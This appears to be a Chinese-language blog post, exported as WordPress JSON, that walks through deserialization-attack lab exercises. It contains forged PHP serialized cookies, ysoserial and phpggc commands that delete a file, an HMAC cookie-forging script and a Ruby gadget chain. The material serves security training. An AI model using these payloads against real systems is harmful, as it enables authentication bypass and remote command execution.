{"id":1164,"date":"2023-01-28T16:27:00","date_gmt":"2023-01-28T08:27:00","guid":{"rendered":"https:\/\/systw.net\/note\/?p=1164"},"modified":"2024-04-14T11:23:49","modified_gmt":"2024-04-14T03:23:49","slug":"%e5%b8%b8%e8%a6%8b%e7%9a%84%e5%8f%8d%e5%ba%8f%e5%88%97%e5%8c%96%e6%94%bb%e6%93%8a%e6%89%8b%e6%b3%95","status":"publish","type":"post","link":"https:\/\/systw.net\/note\/archives\/1164","title":{"rendered":"\u5e38\u898b\u7684\u53cd\u5e8f\u5217\u5316\u653b\u64ca\u624b\u6cd5"},"content":{"rendered":"\n<p><\/p>\n\n\n\n<p>\u4e0d\u5b89\u5168\u7684\u53cd\u5e8f\u5217\u5316\u554f\u984c\u4ecb\u7d39\u53ef\u53c3\u8003<a href=\"https:\/\/systw.net\/note\/archives\/112\">https:\/\/systw.net\/note\/archives\/112<\/a><\/p>\n\n\n\n<p><\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity is-style-dots\"\/>\n\n\n\n<p><\/p>\n\n\n\n<h2 class=\"wp-block-heading\">\u4fee\u6539\u8cc7\u6599\u985e\u578b<\/h2>\n\n\n\n<p>\u6709\u4e9b\u4ee3\u78bc\u6703\u57f7\u884c\u9b06\u6563\u6bd4\u8f03\uff0c\u9019\u5728\u8cc7\u6599\u985e\u578b\u4e0a\u6703\u7522\u751f\u4e00\u4e9b\u554f\u984c<\/p>\n\n\n\n<p>\u4f8b\u5982\u5728PHP\u4e2d\uff0c0==&#8221;password&#8221;\u7684\u5224\u65b7\u4e2d\u6703\u8fd4\u56detrue\uff0c\u56e0\u70ba\u5b57\u4e32\u4e2d\u6c92\u6709\u4efb\u4f55\u6578\u5b57\u6240\u4ee5\u70ba0\u3002\u56e0\u6b64\u5728\u4ee5\u4e0b\u4ee3\u78bc\u4e2d\uff0c\u5982\u679c$login[&#8216;password&#8217;]\u7b49\u65bc0\uff0c$password\u53c8\u662f\u5b57\u4e32\uff0c\u6bd4\u8f03\u5f8c\u5c31\u6703\u8fd4\u56deTRUE<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>$login = unserialize($_COOKIE)\r\nif ($login&#91;'password'] == $password) {\r\n\/\/ log in successfully\r\n}<\/code><\/pre>\n\n\n\n<p><\/p>\n\n\n\n<p>\u5047\u5982\u7db2\u7ad9\u6709\u4e0a\u8ff0\u7684\u5f31\u9ede\uff0c\u53ef\u53c3\u8003\u4ee5\u4e0b\u65b9\u5f0f\u505a\u8a8d\u8b49\u7684\u9952\u904e\u3002\u5206\u6790\u8acb\u6c42\u5982\u4e0b<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>GET \/\r\n...omit...\r\nCookie: session=Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjY6IndpZW5lciI7czoxMjoiYWNjZXNzX3Rva2VuIjtzOjMyOiI3ZWVGVElIT1FHN2RHQW9sbk85ZTcwWGNmeGlTVW1QRCI7fQ%3d%3d<\/code><\/pre>\n\n\n\n<p>\u5c07cookie\u7528base64\u89e3\u78bc\u5f8c\u5f97\u5230\u5982\u4e0b<\/p>\n\n\n\n<p><code>O:4:\"User\":2:{s:8:\"username\";s:6:\"wiener\";s:12:\"access_token\";s:32:\"7eeFTIHOQG7dGAolnO9e70XcfxiSUmPD\";}<\/code><\/p>\n\n\n\n<p>\u70ba\u4e86\u8981\u507d\u9020\u6210administrator\uff0c\u8981\u628aaccess_token\u6307\u5b9a\u70ba0\uff0c\u9019\u6a23\u624d\u53ef\u4ee5\u8b93PHP\u5224\u65b7\u6642\u8fd4\u56deTrue\uff0c\u9952\u904e\u767b\u5165\u6a5f\u5236\uff0e\u56e0\u6b64\u8981\u628a\u5e8f\u5217\u5316\u8cc7\u6599\u4fee\u6539\u5982\u4e0b<\/p>\n\n\n\n<p><code>O:4:\"User\":2:{s:8:\"username\";s:<mark style=\"background-color:rgba(0, 0, 0, 0)\" class=\"has-inline-color has-vivid-red-color\">13<\/mark>:\"<mark style=\"background-color:rgba(0, 0, 0, 0)\" class=\"has-inline-color has-vivid-red-color\">administrator<\/mark>\";s:12:\"access_token\";<mark style=\"background-color:rgba(0, 0, 0, 0)\" class=\"has-inline-color has-vivid-red-color\">i:0<\/mark>;}<\/code><\/p>\n\n\n\n<p>\u5728\u7528base64\u7de8\u78bc\u5f8c\u53d6\u4ee3\u8acb\u6c42\u5167\u7684cookie\u5f8c\u9001\u51fa<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>GET \/\r\n...omit...\r\nCookie: session=Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjEzOiJhZG1pbmlzdHJhdG9yIjtzOjEyOiJhY2Nlc3NfdG9rZW4iO2k6MDt9==<\/code><\/pre>\n\n\n\n<p>\u7576\u670d\u52d9\u5668\u6536\u5230\u6b64\u8acb\u6c42\u6703\u5224\u5b9a\u70baadministrator<\/p>\n\n\n\n<p>Lab: Modifying serialized data types<\/p>\n\n\n\n<p><\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity is-style-dots\"\/>\n\n\n\n<p><\/p>\n\n\n\n<h2 class=\"wp-block-heading\">\u4fee\u6539\u6307\u5b9a\u53c3\u6578<\/h2>\n\n\n\n<p>\u6b63\u5e38\u522a\u9664\u5e33\u865f\u7684\u8acb\u6c42\u5982\u4e0b<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>POST \/my-account\/delete\n...omit...\nCookie: session=Tzo0OiJVc2VyIjozOntzOjg6InVzZXJuYW1lIjtzOjU6ImdyZWdnIjtzOjEyOiJhY2Nlc3NfdG9rZW4iO3M6MzI6IjVIWUV2QjdFVnE5NTJmeFBjWXFPUko3SEVHNEIxQk9hIjtzOjExOiJhdmF0YXJfbGluayI7czoxODoidXNlcnMvZ3JlZ2cvYXZhdGFyIjt9<\/code><\/pre>\n\n\n\n<p>\u5c07cookie\u900f\u904ebase64\u89e3\u78bc\u5f8c\u5982\u4e0b<\/p>\n\n\n\n<p><code>Cookie: session=O:4:\"User\":3:{s:8:\"username\";s:5:\"gregg\";s:12:\"access_token\";s:32:\"5HYEvB7EVq952fxPcYqORJ7HEG4B1BOa\";s:11:\"avatar_link\";s:18:\"users\/gregg\/avatar\";}<\/code><\/p>\n\n\n\n<p>\u5982\u679c\u60f3\u8981\u522a\u9664<code>\/home\/carlos\/morale.txt<\/code>\uff0c\u53ea\u8981\u628a\u9019\u6bb5\u5e8f\u5217\u5316\u8cc7\u6599\u6539\u70ba\u5982\u4e0b\u5373\u53ef<\/p>\n\n\n\n<p><code>Cookie: session=O:4:\"User\":3:{s:8:\"username\";s:5:\"gregg\";s:12:\"access_token\";s:32:\"5HYEvB7EVq952fxPcYqORJ7HEG4B1BOa\";s:11:\"avatar_link\";<mark style=\"background-color:rgba(0, 0, 0, 0)\" class=\"has-inline-color has-vivid-red-color\">s:23:\"\/home\/carlos\/morale.txt\"<\/mark>;}<\/code><\/p>\n\n\n\n<p>\u5728\u628a\u4ed6\u7528base64\u7de8\u78bc\u9001\u51fa\u8acb\u6c42\uff0c\u5373\u53ef\u522a\u9664\u6307\u5b9a\u6a94\u6848<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>POST \/my-account\/delete HTTP\/1.1\n...omit...\nCookie: session=Tzo0OiJVc2VyIjozOntzOjg6InVzZXJuYW1lIjtzOjU6ImdyZWdnIjtzOjEyOiJhY2Nlc3NfdG9rZW4iO3M6MzI6IjVIWUV2QjdFVnE5NTJmeFBjWXFPUko3SEVHNEIxQk9hIjtzOjExOiJhdmF0YXJfbGluayI7czoyMzoiL2hvbWUvY2FybG9zL21vcmFsZS50eHQiO30N<\/code><\/pre>\n\n\n\n<p>lab:Using application functionality to exploit insecure deserialization<\/p>\n\n\n\n<p><\/p>\n\n\n\n<p><\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity is-style-dots\"\/>\n\n\n\n<p><\/p>\n\n\n\n<h2 class=\"wp-block-heading\">\u5229\u7528\u9b54\u8853\u51fd\u6570<\/h2>\n\n\n\n<p><code>Magic methods<\/code>\u662f\u60a8\u4e0d\u5fc5\u660e\u78ba\u547c\u53eb\u7684\u65b9\u6cd5\u7684\u7279\u6b8a\u5b50\u96c6\u3002\u76f8\u53cd\uff0c\u6bcf\u7576\u7279\u5b9a\u4e8b\u4ef6\u6216\u5834\u666f\u767c\u751f\u6642\uff0c\u5b83\u5011\u5c31\u6703\u81ea\u52d5\u547c\u53eb\u3002<code>Magic methods<\/code>\u662f\u5404\u7a2e\u8a9e\u8a00\u4e2d\u7269\u4ef6\u5c0e\u5411\u7a0b\u5f0f\u8a2d\u8a08\u7684\u5171\u540c\u7279\u5fb5\u3002\u5b83\u5011\u6709\u6642\u6703\u5728\u65b9\u6cd5\u540d\u7a31\u524d\u52a0\u4e0a\u96d9\u4e0b\u5283\u7dda\u6216\u5c07\u5176\u62ec\u8d77\u4f86\u4f86\u8868\u793a\u3002PHP \u4e2d\u6700\u5e38\u898b\u7684\u7bc4\u4f8b\u4e4b\u4e00\u662f<code>__construct()<\/code><\/p>\n\n\n\n<p><code>Magic methods<\/code>\u88ab\u5ee3\u6cdb\u4f7f\u7528\uff0c\u7576\u5b83\u5011\u57f7\u884c\u7684\u7a0b\u5f0f\u78bc\u8655\u7406\u653b\u64ca\u8005\u53ef\u63a7\u7684\u8cc7\u6599\uff08\u4f8b\u5982\u4f86\u81ea\u53cd\u5e8f\u5217\u5316\u7269\u4ef6\u7684\u8cc7\u6599\uff09\u6642\uff0c\u5b83\u5011\u53ef\u80fd\u6703\u8b8a\u5f97\u5371\u96aa<\/p>\n\n\n\n<p>\u67d0\u4e9b\u8a9e\u8a00\u5177\u6709\u5728\u53cd\u5e8f\u5217\u5316\u904e\u7a0b\u4e2d\u00a0\u81ea\u52d5\u547c\u53eb\u7684<code>Magic methods<\/code>\u3002\u4f8b\u5982\uff0cPHP \u7684<code>unserialize()<\/code>\u65b9\u6cd5\u6703\u5c0b\u627e\u4e26\u547c\u53eb\u7269\u4ef6\u7684<code>__wakeup()<\/code>\u9b54\u8853\u65b9\u6cd5<\/p>\n\n\n\n<p>\u5982\u679c\u653b\u64ca\u8005\u53ef\u4ee5\u5b58\u53d6\u539f\u59cb\u7a0b\u5f0f\u78bc\uff0c\u4ed6\u5011\u5c31\u53ef\u4ee5\u8a73\u7d30\u7814\u7a76\u6240\u6709\u53ef\u7528\u7684\u985e\u5225\u3002\u70ba\u4e86\u5efa\u69cb\u4e00\u500b\u7c21\u55ae\u7684\u6f0f\u6d1e\u5229\u7528\uff0c\u4ed6\u5011\u6703\u5c0b\u627e\u5305\u542b\u53cd\u5e8f\u5217\u5316\u9b54\u8853\u65b9\u6cd5\u7684\u985e\uff0c\u7136\u5f8c\u6aa2\u67e5\u5b83\u5011\u662f\u5426\u5c0d\u53ef\u63a7\u8cc7\u6599\u57f7\u884c\u5371\u96aa\u64cd\u4f5c\u3002\u7136\u5f8c\uff0c\u653b\u64ca\u8005\u53ef\u4ee5\u50b3\u5165\u6b64\u985e\u7684\u5e8f\u5217\u5316\u5c0d\u8c61\uff0c\u4ee5\u4f7f\u7528\u5176<code>Magic methods<\/code>\u9032\u884c\u653b\u64ca\u3002<\/p>\n\n\n\n<p><\/p>\n\n\n\n<p>\u8209\u4f8b\u5982\u4e0b\uff0c\u5728\u8a72\u76ee\u6a19\u767c\u73fe<code>\/libs\/CustomTemplate.php~<\/code>\uff0c\u6587\u4ef6\u5c3e\u9644\u52a0~\u8868\u793a\u8a72\u6587\u4ef6\u7684\u5099\u4efd\uff0c\u56e0\u6b64\u53ef\u76f4\u63a5\u770b\u5230\u6e90\u78bc\u3002<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>...omit...\ncloass CustomTemplate{\n        private $template_file_path;\n        private $lock_file_path;\n\n        public function __construct($template_file_path) \r\n        {\r\n           $this->template_file_path = $template_file_path;\r\n           $this->lock_file_path = $template_file_path . \".lock\";\r\n        }\n...omit...\nfunction __destruct() \r\n{\r\n        \/\/ Carlos thought this would be a good idea\r\n        if (file_exists($this->lock_file_path)) \r\n        {\r\n            unlink($this->lock_file_path);\r\n        }\r\n}\n...omit...<\/code><\/pre>\n\n\n\n<p>\u8a72\u539f\u78bc\u5167\u7684 CustomTemplate \u985e\u5225\u5305\u542b __destruct() \u9b54\u8853\u65b9\u6cd5\u3002\u9019\u5c07\u547c\u53eb lock_file_path \u5c6c\u6027\u4e0a\u7684 unlink() \u65b9\u6cd5\uff0c\u8a72\u65b9\u6cd5\u5c07\u522a\u9664\u8a72\u8def\u5f91\u4e0a\u7684\u6a94\u6848\u3002<\/p>\n\n\n\n<p>\u4f7f\u7528serialized PHP data\u7684\u6b63\u78ba\u8a9e\u6cd5\u4f86\u5efa\u7acb CustomTemplate \u5c0d\u8c61\uff0c\u4e26\u5c07 lock_file_path \u5c6c\u6027\u8a2d\u70ba\u8981\u522a\u9664\u7684\u6a94\u6848\uff0c\u4f8b\u5982 \/home\/carlos\/morale.txt\uff0c\u4e26\u78ba\u4fdd\u4f7f\u7528\u6b63\u78ba\u7684\u8cc7\u6599\u985e\u578b\u6a19\u7c64\u548c\u9577\u5ea6\u6307\u793a\u7b26\u3002\u5b8c\u6210\u5f8c\u6703\u5982\u4e0b<\/p>\n\n\n\n<p><code>O:14:\"CustomTemplate\":1:{s:14:\"lock_file_path\";s:23:\"\/home\/carlos\/morale.txt\";}<\/code><\/p>\n\n\n\n<p>\u5c07\u4ee5\u4e0a\u7528base64\u7de8\u78bc\u5f8c\u9001\u51fa\u8acb\u6c42\u5982\u4e0b<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>GET \/ HTTP\/1.1\r\n...omit...\r\nCookie: session=TzoxNDoiQ3VzdG9tVGVtcGxhdGUiOjE6e3M6MTQ6ImxvY2tfZmlsZV9wYXRoIjtzOjIzOiIvaG9tZS9jYXJsb3MvbW9yYWxlLnR4dCI7fQ%3d%3d<\/code><\/pre>\n\n\n\n<p>\u670d\u52d9\u5668\u6536\u5230\u5f8c\u5c31\u6703\u522a\u9664\u6307\u5b9a\u7684\u6a94\u6848<\/p>\n\n\n\n<p>lab:Arbitrary object injection in PHP<\/p>\n\n\n\n<p><\/p>\n\n\n\n<p><\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity is-style-dots\"\/>\n\n\n\n<p><\/p>\n\n\n\n<h2 class=\"wp-block-heading\">\u5229\u7528Gadget chains<\/h2>\n\n\n\n<p>Gadget chains\u662f\u5229\u7528<code>Magic methods<\/code>\u985e\u5225\u767c\u8d77\u66f4\u8907\u96dc\u7684\u653b\u64ca\uff0c\u53ef\u4ee5\u5e6b\u52a9\u653b\u64ca\u8005\u5be6\u73fe\u7279\u5b9a\u76ee\u6a19\u3002\u6709\u5e7e\u7a2e\u53ef\u7528\u7684\u5de5\u5177\u53ef\u4ee5\u63d0\u4f9b\u4e00\u7cfb\u5217\u5df2\u5728\u5176\u4ed6\u7db2\u7ad9\u4e0a\u6210\u529f\u5229\u7528\u7684\u9810\u5148\u767c\u73fe\u7684\u93c8\u3002\u5373\u4f7f\u60a8\u7121\u6cd5\u5b58\u53d6\u539f\u59cb\u7a0b\u5f0f\u78bc\uff0c\u60a8\u4e5f\u53ef\u4ee5\u4f7f\u7528\u9019\u4e9b\u5de5\u5177\u8f15\u9b06\u8b58\u5225\u548c\u5229\u7528\u4e0d\u5b89\u5168\u7684\u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e\u3002<\/p>\n\n\n\n<p><\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity is-style-dots\"\/>\n\n\n\n<p><\/p>\n\n\n\n<h3 class=\"wp-block-heading\">JAVA<\/h3>\n\n\n\n<p>\u5982\u679c\u53ef\u4ee5\u5728\u4e00\u500b\u7db2\u7ad9\u4e0a\u5229\u7528 Java \u7684 <code>Apache Commons Collections<\/code> \u5eab\u4e2d\u7684\u5c0f\u5de5\u5177\u93c8\uff0c\u5247\u4e5f\u53ef\u4ee5\u4f7f\u7528\u540c\u4e00\u93c8\u4f86\u5229\u7528\u5be6\u4f5c\u8a72\u7a0b\u5f0f\u5eab\u7684\u4efb\u4f55\u5176\u4ed6\u7db2\u7ad9\uff0cJAVA\u5e38\u898b\u7684\u5c0f\u5de5\u5177\u70ba<code>ysoserial<\/code>\u3002\u9664\u6b64\u4e4b\u5916\uff0c\u9084\u6709\u50cf\u662fURLDNS\u8207JRMPClient\u7b49\u65b9\u6cd5\u53ef\u5354\u52a9\u5feb\u901f\u5075\u6e2c\u4f3a\u670d\u5668\u4e0a\u7684\u53cd\u5e8f\u5217\u5316\u5b89\u5168\u554f\u984c\u3002<\/p>\n\n\n\n<p>\u8209\u4f8b\u5982\u4e0b\uff0c\u900f\u904ejava\u53cd\u5e8f\u5217\u554f\u984c\u57f7\u884c<code>rm \/home\/carlos\/morale.txt<\/code>\uff0c\u53ef\u57f7\u884c\u4ee5\u4e0b\u547d\u4ee4\u7522\u751f\u4e00\u500bBase64\u5e8f\u5217\u7684\u7de8\u78bc<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>#jave 15 and below\njava -jar ysoserial.jar CommonsCollections4 'rm \/home\/carlos\/morale.txt' | base64\n\n#jave 16 and above\njava -jar ysoserial.jar \\\r\n   --add-opens=java.xml\/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED \\\r\n   --add-opens=java.xml\/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED \\\r\n   --add-opens=java.base\/java.net=ALL-UNNAMED \\\r\n   --add-opens=java.base\/java.util=ALL-UNNAMED \\\r\n   CommonsCollections4 'rm \/home\/carlos\/morale.txt' | base64<\/code><\/pre>\n\n\n\n<p>\u63a5\u8457\u5728\u9019\u6bb5\u7de8\u78bc\u900f\u904eurlencode\u7de8\u78bc\uff0c\u53d6\u4ee3\u8acb\u6c42\u4e2d\u7684cookie\u9001\u51fa\uff0c\u670d\u52d9\u5668\u6536\u5230\u5f8c\u5c31\u6703\u522a\u9664\u6307\u5b9a\u7684\u6a94\u6848<\/p>\n\n\n\n<p>Lab: Exploiting Java deserialization with Apache Commons<\/p>\n\n\n\n<p><\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity is-style-dots\"\/>\n\n\n\n<p><\/p>\n\n\n\n<h3 class=\"wp-block-heading\">PHP<\/h3>\n\n\n\n<p>\u5c0d\u65bc\u57fa\u65bc PHP \u7684\u7db2\u7ad9\uff0c\u53ef\u4ee5\u4f7f\u7528<code>PHPGGC<\/code><\/p>\n\n\n\n<p>\u8209\u4f8b\u5982\u4e0b\uff0c\u5c0d\u4e00\u76ee\u6a19\u7684\u8acb\u6c42\u9032\u884c\u5206\u6790\u5982\u4e0b<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>GET \/ HTTP\/1.1\n...omit...\nCookie: session=%7B%22token%22%3A%22Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjY6IndpZW5lciI7czoxMjoiYWNjZXNzX3Rva2VuIjtzOjMyOiJUVXJ5YnpUM3U3WHFNY1FTY2ZoTGhTbUp6NHZqTUxJNSI7fQ%3D%3D%22%2C%22sig_hmac_sha1%22%3A%2222d081efd16e59efd8ffa0386ca5926e1906ba5d%22%7D<\/code><\/pre>\n\n\n\n<p>urlencode\u89e3\u78bccookie\u53ef\u4ee5\u770b\u5230\u5230\u4ee5\u5167\u5bb9\uff0c\u5176\u4e2d\u767c\u73fe\u7c3d\u540d\u6a5f\u5236<code>sig_hmac_sha1<\/code>\uff0c\u9019\u8868\u793a\u76f4\u63a5\u4fee\u6539\u8acb\u6c42\u6c92\u7528\u3002<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>Cookie: session={\"token\":\"Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjY6IndpZW5lciI7czoxMjoiYWNjZXNzX3Rva2VuIjtzOjMyOiJUVXJ5YnpUM3U3WHFNY1FTY2ZoTGhTbUp6NHZqTUxJNSI7fQ==\",\"sig_hmac_sha1\":\"22d081efd16e59efd8ffa0386ca5926e1906ba5d\"}<\/code><\/pre>\n\n\n\n<p>base64\u89e3\u78bctoken\u53ef\u770b\u5230\u4ee5\u4e0b\u5167\u5bb9\uff0c\u9019\u88e1\u5305\u542b\u5e8f\u5217\u5316\u8cc7\u6599<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>\"token\":\"O:4:\"User\":2:{s:8:\"username\";s:6:\"wiener\";s:12:\"access_token\";s:32:\"TUrybzT3u7XqMcQScfhLhSmJz4vjMLI5\";}\"<\/code><\/pre>\n\n\n\n<p>\u53e6\u5916\uff0c\u8acb\u6c42\u5f8c\u7684\u8fd4\u56de\u5167\u5bb9\u5982\u4e0b\uff0c\u5305\u542bphpinfo.php\u7684\u4f4d\u7f6e<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>...omit...\n&lt;!-- &lt;a href=\/cgi-bin\/phpinfo.php>Debug&lt;\/a> -->\n...omit...<\/code><\/pre>\n\n\n\n<p>\u8a2a\u554fphpinfo.php\u5f8c\u5206\u6790\u767c\u73fe<code>SECRET_KEY:g1pu6opsaxp9avqyh8hi1vtnzmvr9u47<\/code>\uff0c\u56e0\u6b64\u53ef\u4ee5\u7528\u6b64\u4f86\u8655\u7406\u7c3d\u540d\u6a5f\u5236<code>sig_hmac_sha1<\/code><\/p>\n\n\n\n<p><\/p>\n\n\n\n<p>\u900f\u904ephp\u53cd\u5e8f\u5217\u554f\u984c\u57f7\u884c<code>rm \/home\/carlos\/morale.txt<\/code>\uff0c\u53ef\u57f7\u884c<code>phpggc<\/code>\u547d\u4ee4\u7522\u751f\u4e00\u500bBase64\u5e8f\u5217\u7684\u7de8\u78bc<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>#phpggc Symfony\/RCE4 exec 'rm \/home\/carlos\/morale.txt' | base64\nTzo0NzoiU3ltZm9ueVxDb2...omit...<\/code><\/pre>\n\n\n\n<p>\u7531\u65bc\u76ee\u6a19\u6709\u7c3d\u540d\u6a5f\u5236\u9632\u4fee\u6539\u8acb\u6c42\uff0c\u56e0\u6b64\u525b\u525b\u7522\u751f\u7684\u7de8\u78bc\u9084\u5fc5\u9808\u5728\u900f\u904e\u7c3d\u540d\uff0c\u56e0\u6b64\u6e96\u5099\u4ee5\u4e0b\u4ee3\u78bc\u505a\u7c3d\u540d<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;?php\r\n$secretKey='g1pu6opsaxp9avqyh8hi1vtnzmvr9u47';\r\n$object='Tzo0NzoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxUYWdBd2FyZUFkYXB0ZXIiOjI6e3M6NTc6IgBTeW1mb255XENvbXBvbmVudFxDYWNoZVxBZGFwdGVyXFRhZ0F3YXJlQWRhcHRlcgBkZWZlcnJlZCI7YToxOntpOjA7TzozMzoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQ2FjaGVJdGVtIjoyOntzOjExOiIAKgBwb29sSGFzaCI7aToxO3M6MTI6IgAqAGlubmVySXRlbSI7czoyNjoicm0gL2hvbWUvY2FybG9zL21vcmFsZS50eHQiO319czo1MzoiAFN5bWZvbnlcQ29tcG9uZW50XENhY2hlXEFkYXB0ZXJcVGFnQXdhcmVBZGFwdGVyAHBvb2wiO086NDQ6IlN5bWZvbnlcQ29tcG9uZW50XENhY2hlXEFkYXB0ZXJcUHJveHlBZGFwdGVyIjoyOntzOjU0OiIAU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxQcm94eUFkYXB0ZXIAcG9vbEhhc2giO2k6MTtzOjU4OiIAU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxQcm94eUFkYXB0ZXIAc2V0SW5uZXJJdGVtIjtzOjQ6ImV4ZWMiO319Cg==';\r\n$payload = urlencode('{\"token\":\"'.$object.'\",\"sig_hmac_sha1\":\"' . hash_hmac('sha1', $object, $secretKey) . '\"}');\r\necho 'Cookie: session='.$payload;\r\n?><\/code><\/pre>\n\n\n\n<p>\u5c07\u57f7\u884c\u5f8c\u7522\u751f\u7684cookie\u653e\u5165\u8acb\u6c42\u9001\u51fa\uff0c\u5982\u4e0b<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>GET \/ HTTP\/1.1\r\n...omit...\r\nCookie: session=%7B%22token%22%3A%22Tzo0NzoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxUYWdBd2FyZUFkYXB0ZXIiOjI6e3M6NTc6IgBTeW1mb255XENvbXBvbmVudFxDYWNoZVxBZGFwdGVyXFRhZ0F3YXJlQWRhcHRlcgBkZWZlcnJlZCI7YToxOntpOjA7TzozMzoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQ2FjaGVJdGVtIjoyOntzOjExOiIAKgBwb29sSGFzaCI7aToxO3M6MTI6IgAqAGlubmVySXRlbSI7czoyNjoicm0gL2hvbWUvY2FybG9zL21vcmFsZS50eHQiO319czo1MzoiAFN5bWZvbnlcQ29tcG9uZW50XENhY2hlXEFkYXB0ZXJcVGFnQXdhcmVBZGFwdGVyAHBvb2wiO086NDQ6IlN5bWZvbnlcQ29tcG9uZW50XENhY2hlXEFkYXB0ZXJcUHJveHlBZGFwdGVyIjoyOntzOjU0OiIAU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxQcm94eUFkYXB0ZXIAcG9vbEhhc2giO2k6MTtzOjU4OiIAU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxQcm94eUFkYXB0ZXIAc2V0SW5uZXJJdGVtIjtzOjQ6ImV4ZWMiO319Cg%3D%3D%22%2C%22sig_hmac_sha1%22%3A%221b4aecfae95e20734a7f7418e9b4ef425ab224d7%22%7D<\/code><\/pre>\n\n\n\n<p>\u670d\u52d9\u5668\u6536\u5230\u5f8c\u5c31\u6703\u522a\u9664\u6307\u5b9a\u7684\u6a94\u6848<\/p>\n\n\n\n<p>Lab: Exploiting PHP deserialization with a pre-built gadget chain<\/p>\n\n\n\n<p><\/p>\n\n\n\n<p><\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity is-style-dots\"\/>\n\n\n\n<p><\/p>\n\n\n\n<h3 class=\"wp-block-heading\">ruby<\/h3>\n\n\n\n<p>\u4e0a\u7db2\u5c0b\u627eUniversal Deserialisation Gadget for Ruby 2.x-3.x\uff0c\u53ef\u767c\u73fe\u653b\u64ca\u4ee3\u78bc\uff0c\u5c07id\u53d6\u4ee3\u70ba\u8981\u57f7\u884c\u7684\u52d5\u4f5c\uff0c\u4f8b\u5982<code>rm \/home\/carlos\/morale.txt<\/code>\uff0c\u4fee\u6539\u5f8c\u5982\u4e0b<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>#!\/usr\/bin\/env ruby\r\n\r\nclass Gem::StubSpecification\r\n  def initialize; end\r\nend\r\n\r\n\r\nstub_specification = Gem::StubSpecification.new\r\nstub_specification.instance_variable_set(:@loaded_from, \"| <span style=\"font-size: inherit; font-style: inherit; font-variant-ligatures: inherit; font-variant-caps: inherit; font-weight: inherit;\">rm \/home\/carlos\/morale.txt<\/span> 1>&amp;2\")\r\n\r\nputs \"STEP n\"\r\nstub_specification.name rescue nil\r\nputs\r\n\r\n\r\nclass Gem::Source::SpecificFile\r\n  def initialize; end\r\nend\r\n\r\nspecific_file = Gem::Source::SpecificFile.new\r\nspecific_file.instance_variable_set(:@spec, stub_specification)\r\n\r\nother_specific_file = Gem::Source::SpecificFile.new\r\n\r\nputs \"STEP n-1\"\r\nspecific_file &lt;=> other_specific_file rescue nil\r\nputs\r\n\r\n\r\n$dependency_list= Gem::DependencyList.new\r\n$dependency_list.instance_variable_set(:@specs, &#91;specific_file, other_specific_file])\r\n\r\nputs \"STEP n-2\"\r\n$dependency_list.each{} rescue nil\r\nputs\r\n\r\n\r\nclass Gem::Requirement\r\n  def marshal_dump\r\n    &#91;$dependency_list]\r\n  end\r\nend\r\n\r\npayload = Marshal.dump(Gem::Requirement.new)\r\n\r\nputs \"STEP n-3\"\r\nMarshal.load(payload) rescue nil\r\nputs\r\n\r\n\r\nputs \"VALIDATION (in fresh ruby process):\"\r\nIO.popen(\"ruby -e 'Marshal.load(STDIN.read) rescue nil'\", \"r+\") do |pipe|\r\n  pipe.print payload\r\n  pipe.close_write\r\n  puts pipe.gets\r\n  puts\r\nend\r\n\r\nputs \"Payload (hex):\"\r\nputs payload.unpack('H*')&#91;0]\r\nputs\r\n\r\n\r\nrequire \"base64\"\r\nputs \"Payload (Base64 encoded):\"\r\nputs Base64.encode64(payload)<\/code><\/pre>\n\n\n\n<p>\u57f7\u884c\u4e0a\u8ff0ruby\u4ee3\u78bc\u5f8c\u6703\u7522\u751fbase64\u5e8f\u5217\u5316\u8cc7\u6599\uff0c\u7de8\u78bcurlencode\u53d6\u4ee3\u8acb\u6c42\u4e2d\u7684cookie\u9001\u51fa\uff0c\u670d\u52d9\u5668\u6536\u5230\u5f8c\u5c31\u6703\u522a\u9664\u6307\u5b9a\u7684\u6a94\u6848<\/p>\n\n\n\n<p>Lab: Exploiting Ruby deserialization using a documented gadget chain<\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u4e0d\u5b89\u5168\u7684\u53cd\u5e8f\u5217\u5316\u554f\u984c\u4ecb\u7d39\u53ef\u53c3\u8003https:\/\/systw.n 